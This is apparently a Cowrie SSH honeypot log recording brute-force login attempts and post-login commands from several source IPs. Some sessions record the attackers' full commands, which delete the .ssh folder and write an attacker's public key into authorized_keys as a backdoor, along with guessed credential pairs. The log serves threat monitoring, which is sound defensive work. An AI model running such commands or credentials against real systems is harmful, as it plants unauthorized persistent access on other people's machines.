{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:42.884016Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:42.889042Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:43.100333Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:43.552683Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:43.556280Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:43.767712Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:43.771514Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":35040,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba878366442e","protocol":"ssh","message":"New connection: 20.244.18.126:35040 (159.203.135.109:22) [session: ba878366442e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:43.991193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:43.995590Z","src_ip":"20.244.18.126","session":"ba878366442e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:44.211019Z","src_ip":"20.244.18.126","session":"ba878366442e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:45.103990Z","src_ip":"20.244.18.126","session":"ba878366442e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:46.323184Z","src_ip":"20.244.18.126","session":"ba878366442e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":42626,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1534fc4c915","protocol":"ssh","message":"New connection: 20.244.18.126:42626 (159.203.135.109:22) [session: e1534fc4c915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:46.512892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:46.517518Z","src_ip":"20.244.18.126","session":"e1534fc4c915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:46.721123Z","src_ip":"20.244.18.126","session":"e1534fc4c915","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:47.573099Z","src_ip":"20.244.18.126","session":"e1534fc4c915","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:47.782467Z","src_ip":"20.244.18.126","session":"ce52f39a1f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:47.787178Z","src_ip":"20.244.18.126","session":"e1534fc4c915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36374,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7cac3cdf23f","protocol":"ssh","message":"New connection: 2.57.122.208:36374 (10.17.0.5:22) [session: d7cac3cdf23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:54.513436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:54.612856Z","src_ip":"2.57.122.208","session":"d7cac3cdf23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:54.713380Z","src_ip":"2.57.122.208","session":"d7cac3cdf23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":42158,"dst_ip":"159.203.135.109","dst_port":22,"session":"81428b3542f6","protocol":"ssh","message":"New connection: 182.52.236.235:42158 (159.203.135.109:22) [session: 81428b3542f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:55.186174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:55.190482Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:55.313081Z","src_ip":"2.57.122.208","session":"d7cac3cdf23f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:55.432853Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"secret","message":"login attempt [root/secret] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:56.433925Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:56.439457Z","src_ip":"2.57.122.208","session":"d7cac3cdf23f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:56.950961Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:56.953164Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:56.955552Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:57.199139Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:57.760628Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:57.764226Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:58.011470Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:58.014798Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":57112,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d940cb8b2c9","protocol":"ssh","message":"New connection: 182.52.236.235:57112 (159.203.135.109:22) [session: 5d940cb8b2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:58.258668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:58.263779Z","src_ip":"182.52.236.235","session":"5d940cb8b2c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:58.512341Z","src_ip":"182.52.236.235","session":"5d940cb8b2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":39128,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d50d7f4b168","protocol":"ssh","message":"New connection: 211.106.133.202:39128 (159.203.135.109:22) [session: 1d50d7f4b168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:59.096231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:59.100530Z","src_ip":"211.106.133.202","session":"1d50d7f4b168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:59.384853Z","src_ip":"211.106.133.202","session":"1d50d7f4b168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:40:59.526233Z","src_ip":"182.52.236.235","session":"5d940cb8b2c9","protocol":"ssh"}
